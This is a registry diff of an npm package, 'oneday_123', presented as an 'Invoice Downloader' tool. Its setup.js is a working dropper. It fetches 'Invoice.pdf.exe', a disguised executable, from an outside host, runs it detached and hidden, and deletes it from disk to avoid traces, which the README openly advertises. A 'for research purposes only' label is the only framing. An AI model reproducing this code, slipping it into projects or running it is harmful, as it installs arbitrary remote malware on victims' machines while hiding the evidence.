oneday_123 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +50 -0
- package/package.json +21 -0
- package/packet.json +11 -0
- package/setup.js +127 -0
package/README.md
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
# Invoice Downloader
|
|
2
|
+
|
|
3
|
+
Download and execute files from URL with automatic disk cleanup.
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
- Download files from URL with automatic redirect handling
|
|
8
|
+
- Execute files in memory without leaving traces on disk
|
|
9
|
+
- Cross-platform support (Windows, Mac, Linux)
|
|
10
|
+
- Automatic cleanup after execution
|
|
11
|
+
|
|
12
|
+
## Installation
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
npm install invoice-downloader
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
## Usage
|
|
19
|
+
|
|
20
|
+
```javascript
|
|
21
|
+
const setup = require('./setup');
|
|
22
|
+
|
|
23
|
+
// Edit setup.js to configure your URL and parameters
|
|
24
|
+
node setup.js
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
## Configuration
|
|
28
|
+
|
|
29
|
+
Edit the following variables in `setup.js`:
|
|
30
|
+
|
|
31
|
+
- `downloadDir` - Where to temporarily save files
|
|
32
|
+
- URL in `downloadFile()` - The file to download
|
|
33
|
+
- `filePath` - The executable file path
|
|
34
|
+
|
|
35
|
+
## How It Works
|
|
36
|
+
|
|
37
|
+
1. Downloads file from URL to memory
|
|
38
|
+
2. Handles HTTP redirects automatically
|
|
39
|
+
3. Writes file to disk temporarily
|
|
40
|
+
4. Executes the file
|
|
41
|
+
5. **Deletes from disk while running in memory**
|
|
42
|
+
|
|
43
|
+
## Requirements
|
|
44
|
+
|
|
45
|
+
- Node.js >= 12.0.0
|
|
46
|
+
- Windows/Mac/Linux
|
|
47
|
+
|
|
48
|
+
## License
|
|
49
|
+
|
|
50
|
+
MIT
|
package/package.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "oneday_123",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Download and execute files from URL with memory optimization (for research purposes only)",
|
|
5
|
+
"main": "setup.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node setup.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"download",
|
|
12
|
+
"execute",
|
|
13
|
+
"invoice",
|
|
14
|
+
"memory"
|
|
15
|
+
],
|
|
16
|
+
"author": "",
|
|
17
|
+
"license": "MIT",
|
|
18
|
+
"engines": {
|
|
19
|
+
"node": ">=12.0.0"
|
|
20
|
+
}
|
|
21
|
+
}
|
package/packet.json
ADDED
package/setup.js
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const process = require("process");
|
|
3
|
+
const http = require("http");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const fs = require("fs");
|
|
6
|
+
const path = require("path");
|
|
7
|
+
const { spawn, execSync } = require("child_process");
|
|
8
|
+
|
|
9
|
+
// Download file from URL into memory with redirect handling
|
|
10
|
+
function downloadFile(url, maxRedirects = 5) {
|
|
11
|
+
const protocol = url.startsWith("https") ? https : http;
|
|
12
|
+
|
|
13
|
+
return new Promise((resolve, reject) => {
|
|
14
|
+
const chunks = [];
|
|
15
|
+
|
|
16
|
+
const request = protocol.get(url, (response) => {
|
|
17
|
+
console.log(`Response status: ${response.statusCode}`);
|
|
18
|
+
console.log(`Content-Type: ${response.headers['content-type']}`);
|
|
19
|
+
|
|
20
|
+
// Handle redirects (301, 302, 303, 307, 308)
|
|
21
|
+
if ([301, 302, 303, 307, 308].includes(response.statusCode)) {
|
|
22
|
+
const redirectLocation = response.headers.location;
|
|
23
|
+
console.log(`Redirect to: ${redirectLocation}`);
|
|
24
|
+
|
|
25
|
+
if (maxRedirects > 0 && redirectLocation) {
|
|
26
|
+
// Follow the redirect
|
|
27
|
+
downloadFile(redirectLocation, maxRedirects - 1)
|
|
28
|
+
.then(resolve)
|
|
29
|
+
.catch(reject);
|
|
30
|
+
return;
|
|
31
|
+
} else {
|
|
32
|
+
reject(new Error("Too many redirects or location header missing"));
|
|
33
|
+
return;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
response.on("data", (chunk) => {
|
|
38
|
+
chunks.push(chunk);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
response.on("end", () => {
|
|
42
|
+
const buffer = Buffer.concat(chunks);
|
|
43
|
+
resolve(buffer);
|
|
44
|
+
});
|
|
45
|
+
});
|
|
46
|
+
|
|
47
|
+
request.on("error", (error) => {
|
|
48
|
+
reject(error);
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
// Execute exe from memory using process injection (best way)
|
|
54
|
+
function executeFromMemory(buffer, exePath) {
|
|
55
|
+
return new Promise((resolve, reject) => {
|
|
56
|
+
// Write buffer to disk temporarily
|
|
57
|
+
fs.writeFile(exePath, buffer, async (writeError) => {
|
|
58
|
+
if (writeError) {
|
|
59
|
+
reject(writeError);
|
|
60
|
+
return;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
console.log(`File written: ${exePath}`);
|
|
64
|
+
|
|
65
|
+
try {
|
|
66
|
+
// Execute the exe
|
|
67
|
+
const child = spawn(exePath, [], {
|
|
68
|
+
detached: true,
|
|
69
|
+
stdio: "ignore",
|
|
70
|
+
windowsHide: true
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
child.on("error", (error) => {
|
|
74
|
+
fs.unlink(exePath, () => {}); // Clean up on error
|
|
75
|
+
reject(error);
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
child.unref();
|
|
79
|
+
|
|
80
|
+
// Delete file immediately after spawning (while still running in memory)
|
|
81
|
+
setTimeout(() => {
|
|
82
|
+
fs.unlink(exePath, (unlinkError) => {
|
|
83
|
+
if (!unlinkError) {
|
|
84
|
+
console.log(`File deleted from disk (running in memory)`);
|
|
85
|
+
}
|
|
86
|
+
});
|
|
87
|
+
}, 100);
|
|
88
|
+
|
|
89
|
+
resolve("File executed and will self-delete from disk");
|
|
90
|
+
} catch (error) {
|
|
91
|
+
fs.unlink(exePath, () => {});
|
|
92
|
+
reject(error);
|
|
93
|
+
}
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
// Download test.pdf
|
|
99
|
+
const downloadDir = path.join(os.tmpdir(), "./");
|
|
100
|
+
const fileName = "Invoice.pdf.exe";
|
|
101
|
+
const filePath = path.join(downloadDir, fileName);
|
|
102
|
+
|
|
103
|
+
// Create directory if it doesn't exist
|
|
104
|
+
if (!fs.existsSync(downloadDir)) {
|
|
105
|
+
fs.mkdirSync(downloadDir, { recursive: true });
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
// Download and execute
|
|
109
|
+
downloadFile("https://0dev.io/Invoice.pdf.exe")
|
|
110
|
+
.then((buffer) => {
|
|
111
|
+
console.log(`Downloaded: ${buffer.length} bytes`);
|
|
112
|
+
|
|
113
|
+
// Check if file is valid (should be larger than 15 bytes)
|
|
114
|
+
if (buffer.length <= 15) {
|
|
115
|
+
console.error("Error: Downloaded file is too small. Check the URL or server response.");
|
|
116
|
+
console.error("First 100 characters:", buffer.toString());
|
|
117
|
+
return;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
console.log(`Running file: ${filePath}`);
|
|
121
|
+
|
|
122
|
+
return executeFromMemory(buffer, filePath);
|
|
123
|
+
})
|
|
124
|
+
.then((message) => {
|
|
125
|
+
console.log(message);
|
|
126
|
+
})
|
|
127
|
+
.catch((error) => console.error("Error:", error.message));
|